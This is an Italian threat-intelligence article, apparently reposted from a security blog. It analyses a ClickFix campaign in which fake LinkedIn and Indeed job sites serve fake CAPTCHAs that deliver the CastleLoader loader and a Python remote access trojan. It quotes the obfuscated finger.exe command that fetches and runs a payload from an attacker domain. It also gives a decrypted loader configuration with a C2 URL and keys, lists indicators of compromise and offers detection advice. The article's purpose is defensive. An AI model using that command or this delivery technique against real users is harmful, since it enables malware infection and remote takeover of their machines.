ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python
Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.
Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed
L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.
La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").
Stage 3: il protocollo Finger come vettore LOLBin
L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:
%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %eIl comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.
Catena di staging: Python runtime portatili e curl hijacking
Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.
- CPython embedded:
%LocalAppData%\python-3.15.0a1-embed-win32.pdf - IronPython:
%LocalAppData%\IronPython.3.4.2.pdf
CastleLoader: framework MaaS con cifratura ChaCha20
Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:
URL: hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id: 028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name: DE6TZHGHlXfrbvmQdHxJIb035
chacha_key: 0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3CTutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (
root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.Payload finale: RAT Python con C2 WebSocket
Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.
Indicatori di compromissione (IoC)
# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pycDue righe per i difensori
Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.
Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026
ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery
The LevelBlue OpsIntel CTI team examined the latest version of the ClickFix campaign, which emerged in early May 2026.King Orande and Cris Tomboc (Trustwave Holdings, Inc.)
reshared this